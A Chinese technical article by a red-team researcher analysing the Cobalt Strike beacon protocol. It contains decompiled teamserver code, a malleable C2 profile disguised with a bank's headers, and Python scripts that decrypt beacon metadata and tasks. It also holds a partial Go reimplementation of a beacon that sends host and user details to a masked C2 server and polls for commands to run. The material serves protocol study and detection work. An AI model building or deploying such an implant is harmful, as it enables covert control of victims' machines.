【干货】cobaltstrike通信协议研究
作者简介 /Profile/
罗逸,平安科技银河实验室资深安全研究员,从业7年,专注红蓝对抗研究,擅长免杀技术、目标控制、内网渗透等。
1.1 Beacon的源数据包
public byte[] serve(String var1, String var2, Properties var3, Properties var4) {
//获取get请求的远程地址,即http回连的外网地址
String var5 = ServerUtils.getRemoteAddress(BeaconHTTP.this.c2profile, var3);
//根据profile在get请求中获取rsa加密后的metadata的hexString
String var6 = BeaconHTTP.this.c2profile.recover(".http-get.client.metadata", var3, var4, BeaconHTTP.this.getPostedData(var4), var1);
//判断源数据是否有效,加密后的源数据是定长的,始终是128字节
if (var6.length() != 0 && var6.length() == 128) {
//监听器
//var5=回连的外网地址
//加密后的元数据字节数组
//null
//0
BeaconEntry var7 = BeaconHTTP.this.controller.process_beacon_metadata(BeaconHTTP.this.listener, var5, CommonUtils.toBytes(var6), (String)null, 0);
if (var7 == null) {
MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);
return new byte[0];
} else {
//获取beacon队列任务
byte[] var8 = BeaconHTTP.this.controller.dump(var7.getId(), 921600, 1048576);
//任务队列有任务
if (var8.length > 0) {
//返回解密的任务数据
byte[] var9 = BeaconHTTP.this.controller.getSymmetricCrypto().encrypt(var7.getId(), var8);
return var9;
} else {
return new byte[0];
}
}
} else {
CommonUtils.print_error("Invalid session id");
MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);
return new byte[0];
}
}
http-get {
set uri "/api/getid";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Server" "Pingan Frontend Proxy";
header "x-pingan-id" "wwvdT1M01kspYwKlmJIe0delKPUqYiRw6VYJKw9kekjO01FMl2QIStx=";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Type" "image/png";
output {
# mask;
base64;
prepend ".PNG";
print;
}
}
}
GET /api/getid HTTP/1.1
Accept: */*
Cookie: SESSIONID=WI71wcgrH+kAG/NBYK5qCQ==
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.177
Getheader = req.Header{
"Cookie":"SESSIONID=%ENCDATA%",
"Accept":"*/*",
"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
}
func HttpGet(url string, encData string) []byte {
httpRequest := req.New()
for k,v := range config.Getheader{
if strings.Contains(v,"%ENCDATA%"){
config.Getheader[k] = strings.Replace(v, "%ENCDATA%", encData, -1 )
}
}
resp, err := httpRequest.Get(url, config.Getheader)
if err != nil {
fmt.Printf("[-] Get http data error: %s\n", err.Error())
return nil
}
defer resp.Response().Body.Close()
if resp.Response().StatusCode != http.StatusOK {
fmt.Printf("[-] Get http response status code: %s\n", resp.Response().StatusCode)
return nil
}else {
return resp.Bytes()
}
}
func FirstBlood() bool {
encryptedMetaInfo = EncryptedMetaInfo()
for {
respBytes := HttpGet(config.GetUrl, encryptedMetaInfo)
if respBytes != nil {
break
}
time.Sleep(time.Duration(config.Sleep) * time.Millisecond)
}
return true
}
public byte[] decrypt(byte[] var1) {
byte[] var2 = new byte[0];
try {
//rsa解密
synchronized(this.cipher) {
this.cipher.init(2, this.privatekey);
var2 = this.cipher.doFinal(var1);
}
DataInputStream var3 = new DataInputStream(new ByteArrayInputStream(var2));
int var4 = var3.readInt();
if (var4 != 48879) { //对比魔术头 4字节
System.err.println("Magic number failed :( [RSA decrypt]");
return new byte[0];
} else {
int var5 = var3.readInt();
if (var5 > 117) {//对比metadata数据长度 4字节
System.err.println("Length field check failed :( [RSA decrypt]");
return new byte[0];
} else {
byte[] var6 = new byte[var5];
var3.readFully(var6, 0, var5);
return var6;
}
}
} catch (Exception var8) {
MudgeSanity.logException("RSA decrypt", var8, false);
return new byte[0];
}
}
public BeaconEntry process_beacon_metadata(ScListener var1, String var2, byte[] var3, String var4, int var5) {
// 先用ts的私钥进行rsa解密
byte[] var6 = this.getAsymmetricCrypto().decrypt(var3);
if (var6 != null && var6.length != 0) {
//byte[] 转 string
String var7 = CommonUtils.bString(var6);
//16 globalkey,用来计算beacon task任务需要的AESkey和HashMac
String var8 = var7.substring(0, 16);
//2 编码相关
String var9 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(16, 18)));
//2 编码相关
String var10 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(18, 20)));
String var11 = ""; //回连的listener名称
BeaconEntry var12;
if (var1 != null) {
var11 = var1.getName();
} else if (var4 != null) {
//父beacon对应的回连的listener
var12 = this.getCheckinListener().resolveEgress(var4);
if (var12 != null) {
var11 = var12.getListenerName();
}
}
//////////////
//var6 rsa 解密后的数据
//var9 编码相关参数
//var2 回连的外网ip
//var11 监听器名称
//////////////
var12 = new BeaconEntry(var6, var9, var2, var11);
if (!var12.sane()) {
CommonUtils.print_error("Session " + var12 + " metadata validation failed. Dropping");
return null;
} else {
// beaconid
//var9 编码相关参数
//var10 编码相关参数
this.getCharsets().register(var12.getId(), var9, var10);
//父beacon不为空,说明是通过父beacon向外连接的
if (var4 != null) {
//初始化link的父beacon
var12.link(var4, var5);
}
//将回连Beacon的bid和他的Global key进行绑定
this.getSymmetricCrypto().registerKey(var12.getId(), CommonUtils.toBytes(var8));
if (this.getCheckinListener() != null) {
this.getCheckinListener().checkin(var1, var12);
} else {
CommonUtils.print_stat("Checkin listener was NULL (this is good!)");
}
return var12;
}
} else {
CommonUtils.print_error("decrypt of metadata failed");
return null;
}
}
//var1 源数据
public BeaconEntry(byte[] var1, String var2, String var3, String var4) {
boolean var5;
try {
DataParser var6 = new DataParser(var1);
var6.big();
//跳过前20字节(16字节globalkey+2字节ANSI+2字节OEM)
var6.consume(20);
this.id = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));//bid 4字节
this.pid = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));//pid 4字节
this.port = Integer.toString(CommonUtils.toUnsignedShort(var6.readShort()));//port 2字节
byte var7 = var6.readByte(); //metaDataFlag,用来判断barch的 1字节
if (CommonUtils.Flag(var7, 1)) {
this.barch = "";
this.pid = "";
this.is64 = "";
} else if (CommonUtils.Flag(var7, 2)) {
this.barch = "x64";
} else {
this.barch = "x86";
}
this.is64 = CommonUtils.Flag(var7, 4) ? "1" : "0";
var5 = CommonUtils.Flag(var7, 8);
byte var8 = var6.readByte();//大版本号 1字节
byte var9 = var6.readByte();//小版本号 1字节
this.ver = var8 + "." + var9;
this.build = var6.readShort();//构建号 2字节
byte[] var10 = var6.readBytes(4); //gmh_gpa 4字节
this.ptr_gmh = var6.readBytes(4); //gmh函数地址 4字节
this.ptr_gpa = var6.readBytes(4); //gpa函数地址 4字节
if ("x64".equals(this.barch)) {
this.ptr_gmh = CommonUtils.join(var10, this.ptr_gmh);
this.ptr_gpa = CommonUtils.join(var10, this.ptr_gpa);
}
this.ptr_gmh = CommonUtils.bswap(this.ptr_gmh);
this.ptr_gpa = CommonUtils.bswap(this.ptr_gpa);
var6.little();
this.intz = AddressList.toIP(CommonUtils.toUnsignedInt(var6.readInt()));//localip 4字节
var6.big();
if ("0.0.0.0".equals(this.intz)) {
this.intz = "unknown";
}
} catch (IOException var11) {
MudgeSanity.logException("Could not parse metadata!", var11, false);
this.sane = false;
return;
}
//上面的从meta data中获取的就是源数据头,是每个beacon回连的源数据都必须的,一共51字节
//后续的数据是一个字符串列表包括了机器名、用户名等。
String var12 = CommonUtils.bString(Arrays.copyOfRange(var1, 51, var1.length), var2);
String[] var13 = var12.split("\t");
if (var13.length > 0) {
this.comp = var13[0]; //机器名
}
if (var13.length > 1) {
this.user = var13[1]; //用户名
}
if (var13.length > 2) {
if (this.isSSH()) {
this.ver = var13[2]; //版本
} else {
this.proc = var13[2]; //process name
}
}
if (var5) {
this.user = this.user + " *"; //是否是管理员用户
}
this.ext = var3;
this.chst = var2;
this.lname = var4;
this.sane = this.sanity();
}
public void registerKey(String var1, byte[] var2) {
synchronized(this) {
if (keymap.containsKey(var1)) {
return;
}
}
try {
MessageDigest var3 = MessageDigest.getInstance("SHA-256");
byte[] var4 = var3.digest(var2);
byte[] var5 = Arrays.copyOfRange(var4, 0, 16);
byte[] var6 = Arrays.copyOfRange(var4, 16, 32);
Session var7 = new Session();
var7.key = new SecretKeySpec(var5, "AES"); //aes key
var7.hash_key = new SecretKeySpec(var6, "HmacSHA256"); //HMAC
synchronized(this) {
keymap.put(var1, var7);
}
} catch (Exception var11) {
var11.printStackTrace();
}
}
'''
Beacon元数据
'''
import binascii
import hashlib
import M2Crypto
import base64
import hexdump
PRIVATE_KEY = """
-----BEGIN RSA PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAJRT8xnRHtWnv2iL3Kqo0s5swaao
...
rH0+XxA0dI0=
-----END RSA PRIVATE KEY-----
"""
base64_key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def HexToByte( hexStr ):
return bytes.fromhex(hexStr)
#encode_data = HexToByte("873b8a747e627424c23a2959b6314905fb3a683401eff8a792774f94c7cf5d4b363fa3cf70a83e86886fbab1eea85bde67aaed95f16dddfa2c76c310ca94f449e7945ba182e1c48a82aeb23adcad007e7a80666cefdad56a8c63a2077abddcd26d20cf962f052f1c7607cc8c5012ba50f126021d978c273edb54ecaf60f744a7")
encode_data = base64.b64decode("DltOc8INq7p9Pv+hmkLuhvSAm+wH2RZ7sixOxf6U4+Jr46TAlDNBj06KcXB054BcdMDqp91+KW8R9VF8P49FYa3cPcqgiohmuEbGthjGLzgR3zEaUvuQ7xriMsjgbqNQ1+/2bdqsHYtVBT+GPdddkrquZie7H+LGchaJfTy0wPA=")
pubkey = M2Crypto.RSA.load_key_string(PRIVATE_KEY.format(base64_key).encode())
ciphertext = pubkey.private_decrypt(encode_data, M2Crypto.RSA.pkcs1_padding)
def isFlag(var, flag):
return (var & flag) == flag
def toIP(var):
var2 = (var & -16777216) >> 24
var4 = (var & 16711680) >> 16
var6 = (var & 65280) >> 8
var8 = var & 255
return str(var2) + "." + str(var4) + "." + str(var6) + "." + str(var8)
def getName(var0):
if var0 == 37:
return "IBM037"
elif var0 == 437:
return "IBM437"
elif var0 == 500:
return "IBM500"
elif var0 == 708:
return "ISO-8859-6"
elif var0 == 709:
return ""
elif var0 == 710:
return ""
elif var0 == 720:
return "IBM437"
elif var0 == 737:
return "x-IBM737"
elif var0 == 775:
return "IBM775"
elif var0 == 850:
return "IBM850"
elif var0 == 852:
return "IBM852"
elif var0 == 855:
return "IBM855"
elif var0 == 857:
return "IBM857"
elif var0 == 858:
return "IBM00858"
elif var0 == 860:
return "IBM860"
elif var0 == 861:
return "IBM861"
elif var0 == 862:
return "IBM862"
elif var0 == 863:
return "IBM863"
elif var0 == 864:
return "IBM864"
elif var0 == 865:
return "IBM865"
elif var0 == 866:
return "IBM866"
elif var0 == 869:
return "IBM869"
elif var0 == 870:
return "IBM870"
elif var0 == 874:
return "x-windows-874"
elif var0 == 875:
return "IBM875"
elif var0 == 932:
return "Shift_JIS"
elif var0 == 936:
return "x-mswin-936"
elif var0 == 949:
return "x-windows-949"
elif var0 == 950:
return "Big5"
elif var0 == 1026:
return "IBM1026"
elif var0 == 1047:
return "IBM1047"
elif var0 == 1140:
return "IBM01140"
elif var0 == 1141:
return "IBM01141"
elif var0 == 1142:
return "IBM01142"
elif var0 == 1143:
return "IBM01143"
elif var0 == 1144:
return "IBM01144"
elif var0 == 1145:
return "IBM01145"
elif var0 == 1146:
return "IBM01146"
elif var0 == 1147:
return "IBM01147"
elif var0 == 1148:
return "IBM01148"
elif var0 == 1149:
return "IBM01149"
elif var0 == 1200:
return "UTF-16LE"
elif var0 == 1201:
return "UTF-16BE"
elif var0 == 1250:
return "windows-1250"
elif var0 == 1251:
return "windows-1251"
elif var0 == 1252:
return "windows-1252"
elif var0 == 1253:
return "windows-1253"
elif var0 == 1254:
return "windows-1254"
elif var0 == 1255:
return "windows-1255"
elif var0 == 1256:
return "windows-1256"
elif var0 == 1257:
return "windows-1257"
elif var0 == 1258:
return "windows-1258"
elif var0 == 1361:
return "x-Johab"
elif var0 == 10000:
return "x-MacRoman"
elif var0 == 10001:
return ""
elif var0 == 10002:
return ""
elif var0 == 10003:
return ""
elif var0 == 10004:
return "x-MacArabic"
elif var0 == 10005:
return "x-MacHebrew"
elif var0 == 10006:
return "x-MacGreek"
elif var0 == 10007:
return "x-MacCyrillic"
elif var0 == 10008:
return ""
elif var0 == 10010:
return "x-MacRomania"
elif var0 == 10017:
return "x-MacUkraine"
elif var0 == 10021:
return "x-MacThai"
elif var0 == 10029:
return "x-MacCentralEurope"
elif var0 == 10079:
return "x-MacIceland"
elif var0 == 10081:
return "x-MacTurkish"
elif var0 == 10082:
return "x-MacCroatian"
elif var0 == 12000:
return "UTF-32LE"
elif var0 == 12001:
return "UTF-32BE"
elif var0 == 20000:
return "x-ISO-2022-CN-CNS"
elif var0 == 20001:
return ""
elif var0 == 20002:
return ""
elif var0 == 20003:
return ""
elif var0 == 20004:
return ""
elif var0 == 20005:
return ""
elif var0 == 20105:
return ""
elif var0 == 20106:
return ""
elif var0 == 20107:
return ""
elif var0 == 20108:
return ""
elif var0 == 20127:
return "US-ASCII"
elif var0 == 20261:
return ""
elif var0 == 20269:
return ""
elif var0 == 20273:
return "IBM273"
elif var0 == 20277:
return "IBM277"
elif var0 == 20278:
return "IBM278"
elif var0 == 20280:
return "IBM280"
elif var0 == 20284:
return "IBM284"
elif var0 == 20285:
return "IBM285"
elif var0 == 20290:
return "IBM290"
elif var0 == 20297:
return "IBM297"
elif var0 == 20420:
return "IBM420"
elif var0 == 20423:
return ""
elif var0 == 20424:
return "IBM424"
elif var0 == 20833:
return ""
elif var0 == 20838:
return "IBM-Thai"
elif var0 == 20866:
return "KOI8-R"
elif var0 == 20871:
return "IBM871"
elif var0 == 20880:
return ""
elif var0 == 20905:
return ""
elif var0 == 20924:
return ""
elif var0 == 20932:
return "EUC-JP"
elif var0 == 20936:
return "GB2312"
elif var0 == 20949:
return ""
elif var0 == 21025:
return "x-IBM1025"
elif var0 == 21027:
return ""
elif var0 == 21866:
return "KOI8-U"
elif var0 == 28591:
return "ISO-8859-1"
elif var0 == 28592:
return "ISO-8859-2"
elif var0 == 28593:
return "ISO-8859-3"
elif var0 == 28594:
return "ISO-8859-4"
elif var0 == 28595:
return "ISO-8859-5"
elif var0 == 28596:
return "ISO-8859-6"
elif var0 == 28597:
return "ISO-8859-7"
elif var0 == 28598:
return "ISO-8859-8"
elif var0 == 28599:
return "ISO-8859-9"
elif var0 == 28603:
return "ISO-8859-13"
elif var0 == 28605:
return "ISO-8859-15"
elif var0 == 29001:
return ""
elif var0 == 38598:
return "ISO-8859-8"
elif var0 == 50220:
return "ISO-2022-JP"
elif var0 == 50221:
return "ISO-2022-JP-2"
elif var0 == 50222:
return "ISO-2022-JP"
elif var0 == 50225:
return "ISO-2022-KR"
elif var0 == 50227:
return "ISO-2022-CN"
elif var0 == 50229:
return "ISO-2022-CN"
elif var0 == 50930:
return "x-IBM930"
elif var0 == 50931:
return ""
elif var0 == 50933:
return "x-IBM933"
elif var0 == 50935:
return "x-IBM935"
elif var0 == 50936:
return ""
elif var0 == 50937:
return "x-IBM937"
elif var0 == 50939:
return "x-IBM939"
elif var0 == 51932:
return "EUC-JP"
elif var0 == 51936:
return "GB2312"
elif var0 == 51949:
return "EUC-KR"
elif var0 == 51950:
return ""
elif var0 == 52936:
return "GB2312"
elif var0 == 54936:
return "GB18030"
elif var0 == 57002:
return "x-ISCII91"
elif var0 == 57003:
return "x-ISCII91"
elif var0 == 57004:
return "x-ISCII91"
elif var0 == 57005:
return "x-ISCII91"
elif var0 == 57006:
return "x-ISCII91"
elif var0 == 57007:
return "x-ISCII91"
elif var0 == 57008:
return "x-ISCII91"
elif var0 == 57009:
return "x-ISCII91"
elif var0 == 57010:
return "x-ISCII91"
elif var0 == 57011:
return "x-ISCII91"
elif var0 == 65000:
return ""
elif var0 == 65001:
return "UTF-8"
if ciphertext[0:4] == b'\x00\x00\xBE\xEF':
print("ciphertext: ",binascii.b2a_hex(ciphertext))
# 16
raw_aes_keys = ciphertext[8:24]
# 2
var9 = ciphertext[24:26]
var9 = int.from_bytes(var9, byteorder='little', signed=False)
var9 = getName(var9)
# 2
var10 = ciphertext[26:28]
var10 = int.from_bytes(var10, byteorder='little', signed=False)
var10 = getName(var10)
# 4
id = ciphertext[28:32]
id = int.from_bytes(id, byteorder='big', signed=False)
print("Beacon id:%x"%id)
# 4
pid = ciphertext[32:36]
pid = int.from_bytes(pid, byteorder='big', signed=False)
print("pid:{}".format(pid))
# 2
port = ciphertext[36:38]
port = int.from_bytes(port, byteorder='big', signed=False)
print("port:{}".format(port))
# 1
flag = ciphertext[38:39]
flag = int.from_bytes(flag, byteorder='big', signed=False)
# print(flag)
if isFlag(flag, 1):
barch = ""
pid = ""
is64 = ""
elif isFlag(flag, 2):
barch = "x64"
else:
barch = "x86"
if isFlag(flag, 4):
is64 = "1"
else:
is64 = "0"
if isFlag(flag, 8):
bypassuac = "True"
else:
bypassuac = "False"
print("barch:" + barch)
print("is64:" + is64)
print("bypass:" + bypassuac)
# 2
var_1 = ciphertext[39:40]
var_2 = ciphertext[40:41]
var_1 = int.from_bytes(var_1, byteorder='big', signed=False)
var_2 = int.from_bytes(var_2, byteorder='big', signed=False)
windows_var = str(var_1) + "." + str(var_2)
print("windows var:" + windows_var)
# 2
windows_build = ciphertext[41:43]
windows_build = int.from_bytes(windows_build, byteorder='big', signed=False)
print("windows build:{}".format(windows_build))
# 4
x64_P = ciphertext[43:47]
# 4
ptr_gmh = ciphertext[47:51]
# 4
ptr_gpa = ciphertext[51:55]
# if ("x64".equals(this.barch)) {
# this.ptr_gmh = CommonUtils.join(var10, this.ptr_gmh)
# this.ptr_gpa = CommonUtils.join(var10, this.ptr_gpa)
# }
#
# this.ptr_gmh = CommonUtils.bswap(this.ptr_gmh)
# this.ptr_gpa = CommonUtils.bswap(this.ptr_gpa)
# 4
intz = ciphertext[55:59]
intz = int.from_bytes(intz, byteorder='little', signed=False)
intz = toIP(intz)
if intz == "0.0.0.0":
intz = "unknown"
print("host:" + intz)
if var9 == None:
ddata = ciphertext[59:len(ciphertext)].decode("ISO8859-1")
else:
# ??x-mswin-936
# ddata = ciphertext[59:len(ciphertext)].decode(var9)
ddata = ciphertext[59:len(ciphertext)].decode("ISO8859-1")
ddata = ddata.split("\t")
if len(ddata) > 0:
computer = ddata[0]
if len(ddata) > 1:
username = ddata[1]
if len(ddata) > 2:
process = ddata[2]
print("PC name:" + computer)
print("username:" + username)
print("process name:" + process)
raw_aes_hash256 = hashlib.sha256(raw_aes_keys)
digest = raw_aes_hash256.digest()
aes_key = digest[0:16]
hmac_key = digest[16:]
print("AES key:{}".format(aes_key.hex()))
print("HMAC key:{}".format(hmac_key.hex()))
print(hexdump.hexdump(ciphertext))
func MakeMetaInfo() []byte {
clientIDBytes := make([]byte, 4)
binary.BigEndian.PutUint32(clientIDBytes, uint32(config.ClientID))
processID := sysinfo.GetPID()
processIDBytes := make([]byte, 4)
binary.BigEndian.PutUint32(processIDBytes, uint32(processID))
port := 22
sshPortBytes := make([]byte, 2)
binary.BigEndian.PutUint16(sshPortBytes, uint16(port))
metadataFlag := sysinfo.GetMetaDataFlag()
flagBytes := make([]byte, 1)
flagBytes[0] = byte(metadataFlag)
//for OS Version
osVersion := sysinfo.GetOSVersion()
osVerSlice := strings.Split(string(osVersion), ".")
osMajorVerison := 0
osMinorVersion := 0
osBuild := 0
if len(osVerSlice) == 3 {
osMajorVerison, _ = strconv.Atoi(osVerSlice[0])
osMinorVersion, _ = strconv.Atoi(osVerSlice[1])
osBuild, _ = strconv.Atoi(osVerSlice[2])
} else if len(osVerSlice) == 2 {
osMajorVerison, _ = strconv.Atoi(osVerSlice[0])
osMinorVersion, _ = strconv.Atoi(osVerSlice[1])
}
majorVerBytes := make([]byte, 1)
minorVerBytes := make([]byte, 1)
buildBytes := make([]byte, 2)
majorVerBytes[0] = byte(osMajorVerison)
minorVerBytes[0] = byte(osMinorVersion)
binary.BigEndian.PutUint16(buildBytes, uint16(osBuild))
ptrGMHGPA := 0
ptrGMHGPABytes := make([]byte, 4)
binary.BigEndian.PutUint32(ptrGMHGPABytes, uint32(ptrGMHGPA))
ptrGMHFuncAddr := 0
ptrGMHBytes := make([]byte, 4)
binary.BigEndian.PutUint32(ptrGMHBytes, uint32(ptrGMHFuncAddr))
ptrGPAFuncAddr := 0
ptrGPABytes := make([]byte, 4)
binary.BigEndian.PutUint32(ptrGPABytes, uint32(ptrGPAFuncAddr))
localIP := sysinfo.GetLocalIPInt()
localIPBytes := make([]byte, 4)
binary.BigEndian.PutUint32(localIPBytes, uint32(localIP))
hostName := sysinfo.GetComputerName()
currentUser := sysinfo.GetUsername()
OS := sysinfo.GetCurrentOS()
osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, OS)
osInfoBytes := []byte(osInfo)
binary.BigEndian.PutUint32(localIPBytes, uint32(localIP))
onlineInfoBytes := util.BytesCombine(clientIDBytes, processIDBytes, sshPortBytes, flagBytes, majorVerBytes, minorVerBytes, buildBytes, ptrGMHGPABytes, ptrGMHBytes, ptrGPABytes, localIPBytes, osInfoBytes)
localeANSI := sysinfo.GetCodePageANSI()
localeOEM := sysinfo.GetCodePageOEM()
metaInfo := util.BytesCombine(config.GlobalKey, localeANSI, localeOEM, onlineInfoBytes)
magicNum := sysinfo.GetMagicHead()
metaLen := WritePacketLen(metaInfo)
packetToEncrypt := util.BytesCombine(magicNum, metaLen, metaInfo)
return packetToEncrypt
}
func RsaEncrypt(origData []byte) ([]byte, error) {
block, _ := pem.Decode([]byte(config.RsaPublicKey))
if block == nil {
return nil, errors.New("public key error")
}
pubInterface, err := x509.ParsePKIXPublicKey(block.Bytes)
if err != nil {
return nil, err
}
pub := pubInterface.(*rsa.PublicKey)
return rsa.EncryptPKCS1v15(rand.Reader, pub, origData)
}
var (
RsaPublicKey string = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GN...-----END PUBLIC KEY-----"
C2 string = "***.**.***.**"
Port string = "**"
SSL bool = false
Sleep int = 2500
Jitter int = 500
GetPath string = "/api/getid"
GetPrepend int = 4
GetAppend int = 0
PostPath string = "/api/postid?s=1124&d_referer=http%3A%2F%2Fbank.pingan.com"
PostPrepend string = ".PNG"
PostAppend string = ""
)
Getheader = req.Header{
"Cookie":"SESSIONID=%ENCDATA%",
"Accept":"*/*",
"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
}
Postheader = req.Header{
"Cookie":"JSESSION=%ENCBEACONID%",
"Content-Type":"image/png",
"Accept":"*/*",
"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
}
func FirstBlood() bool {
encryptedMetaInfo = EncryptedMetaInfo()//源数据封包并加密
for {
respBytes := HttpGet(config.GetUrl, encryptedMetaInfo)//http封包并发送
if respBytes != nil {
break
}
time.Sleep(time.Duration(config.Sleep) * time.Millisecond)
}
return true
}
1.2 下发Beacon的task数据
BeaconEntry var7 = BeaconHTTP.this.controller.process_beacon_metadata(BeaconHTTP.this.listener, var5, CommonUtils.toBytes(var6), (String)null, 0); //解析http get返回的源数据
if (var7 == null) {
MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);
return new byte[0];
} else {
//获取beacon队列任务
byte[] var8 = BeaconHTTP.this.controller.dump(var7.getId(), 921600, 1048576);
//任务队列有任务
if (var8.length > 0) {
//加密任务数据
byte[] var9 = BeaconHTTP.this.controller.getSymmetricCrypto().encrypt(var7.getId(), var8);
return var9;
} else {
return new byte[0];
}
}
//var1 bid
//var2 task任务数据(taskType+taskBuffer)
public byte[] encrypt(String var1, byte[] var2) {
try {
if (!this.isReady(var1)) {
CommonUtils.print_error("encrypt: No session for '" + var1 + "'");
return new byte[0];
}
ByteArrayOutputStream var3 = new ByteArrayOutputStream(var2.length + 1024);
DataOutputStream var15 = new DataOutputStream(var3);
SecretKey var5 = this.getKey(var1); //获取对应beacon的AESkey
SecretKey var6 = this.getHashKey(var1);//获取对应beacon的hashmac
var3.reset();
var15.writeInt((int)(System.currentTimeMillis() / 1000L)); //写入时间戳
var15.writeInt(var2.length); //写入task任务数据长度
var15.write(var2, 0, var2.length);
this.pad(var3);
Object var7 = null;
byte[] var16;
synchronized(this.in) {
var16 = this.do_encrypt(var5, var3.toByteArray()); //AES加密任务数据
}
Object var8 = null;
byte[] var17;
synchronized(this.mac) {
this.mac.init(var6);
var17 = this.mac.doFinal(var16); //hashmac
}
ByteArrayOutputStream var9 = new ByteArrayOutputStream();
var9.write(var16);//写入加密后的task数据
var9.write(var17, 0, 16);//写入hashmac
byte[] var10 = var9.toByteArray();
return var10;
} catch (InvalidKeyException var13) {
MudgeSanity.logException("encrypt failure for: " + var1, var13, false);
CommonUtils.print_error_file("resources/crypto.txt");
MudgeSanity.debugJava();
SecretKey var4 = this.getKey(var1);
if (var4 != null) {
CommonUtils.print_info("Key's algorithm is: '" + var4.getAlgorithm() + "' ivspec is: " + this.ivspec);
}
} catch (Exception var14) {
MudgeSanity.logException("encrypt failure for: " + var1, var14, false);
}
return new byte[0];
}
public void transform(Profile var1, Response var2, SmartBuffer var3) {
Iterator var4 = this.tsteps.iterator();
while(var4.hasNext()) {
Program.Statement var6 = (Program.Statement)var4.next();
String var5;
switch(var6.action) {
case 1:
var3.append(toBytes(var6.argument));//添加append data
break;
case 2:
var3.prepend(toBytes(var6.argument));//添加prepend data
break;
case 3:
var5 = Base64.encode(var3.getBytes());//base64编码数据
var3.clear();
var3.append(toBytes(var5));
break;
...
}
}
}
'''
cobaltstrike任务解密
'''
import hmac
import binascii
import base64
import struct
import hexdump
from Crypto.Cipher import AES
def compare_mac(mac, mac_verif):
if mac == mac_verif:
return True
if len(mac) != len(mac_verif):
"invalid MAC size"
return False
result = 0
for x, y in zip(mac, mac_verif):
result |= x ^ y
return result == 0
def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):
print("message authentication failed")
return
cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
data = cypher.decrypt(encrypted_data)
return data
def readInt(buf):
return struct.unpack('>L', buf[0:4])[0]
#接收到的任务数据
encData="0k6lSpOcdzWFzgaXLVIG3KScxMndHJzDRt//TUIqQSgtJdnQHkbXaatrNiizJJrj+9e4q7iHpPnaxEFMfRFluw=="
if __name__ == "__main__":
#key源自Beacon_metadata_RSA_Decrypt.py
SHARED_KEY = binascii.unhexlify("d8cc0d420a3ed27ab0de5033842164b8")
HMAC_KEY = binascii.unhexlify("578764fb028cfac24798926181720bd6")
enc_data = base64.b64decode(encData)
print("数据总长度:{}".format(len(enc_data)))
signature = enc_data[-16:]
encrypted_data = enc_data[:-16]
iv_bytes = bytes("abcdefghijklmnop",'utf-8')
dec = decrypt(encrypted_data,iv_bytes,signature,SHARED_KEY,HMAC_KEY)
counter = readInt(dec)
print("时间戳:{}".format(counter))
decrypted_length = readInt(dec[4:])
print("任务数据包长度:{}".format(decrypted_length))
data = dec[8:len(dec)]
print("任务Data")
print(hexdump.hexdump(data))
# 任务标志
Task_Sign=data[0:4]
print("Task_Sign:{}".format(Task_Sign))
# 实际的任务数据长度
Task_file_len = int.from_bytes(data[4:8], byteorder='big', signed=False)
print("Task_file:{}".format(Task_file_len))
with open('data.bin', 'wb') as f:
f.write(data[8:Task_file_len])
print(hexdump.hexdump(data[Task_file_len:]))
http-get {
set uri "/api/getid";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Server" "Pingan Frontend Proxy";
header "x-pingan-id" "wwvdT1M01kspYwKlmJIe0delKPUqYiRw6VYJKw9kekjO01FMl2QIStx=";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Type" "image/png";
output {
# mask;
base64;
prepend ".PNG";
print;
}
}
}
o+oyO90IlE+K4pr0d8GbVLZMbra2I4Ty90OHrqeOE/+NXDqos8Wzp2f0Dp9TIrfS
ok := packet.FirstBlood()
if ok {
for {
time.Sleep(time.Duration(config.Sleep) * time.Millisecond)
respBytes := packet.PullCommand() //获取http get response数据
if respBytes != nil {
totalLen := len(respBytes)
//返回的数据必须要大于prepend+append的长度
if totalLen > config.GetAppend + config.GetPrepend {
//respBytes := resp.Bytes()
//删除prepend数据
if config.GetPrepend !=0 {
respBytes = respBytes[config.GetPrepend:]
}
//删除append数据
if config.GetAppend !=0 {
respBytes = respBytes[:len(respBytes) - config.GetAppend]
}
//decode base64
decryptBytes, base64Err := base64.StdEncoding.DecodeString(string(respBytes))
if base64Err != nil {
fmt.Println("Exception: ",base64Err.Error())
break
}
respBytes = decryptBytes
//去除HashMac
restBytes := respBytes[:len(respBytes)-crypt.HmacHashLen]
//aes解密
decrypted,decryptErr := packet.DecryptPacket(restBytes)
if decryptErr != nil {
fmt.Println("Exception: ",decryptErr.Error())
break
}
//获取task数据的长度
lenBytes := decrypted[4:8]
packetLen := util.ReadInt(lenBytes)
//获取task数据
decryptedBuf := bytes.NewBuffer(decrypted[8:])
for {
if packetLen <= 0 {
break
}
//解析task数据
cmdType, cmdBuf, parseErr := packet.ParsePacket(decryptedBuf, &packetLen)
//根据命令类型,执行相应操作
...
}
}
}
}
}
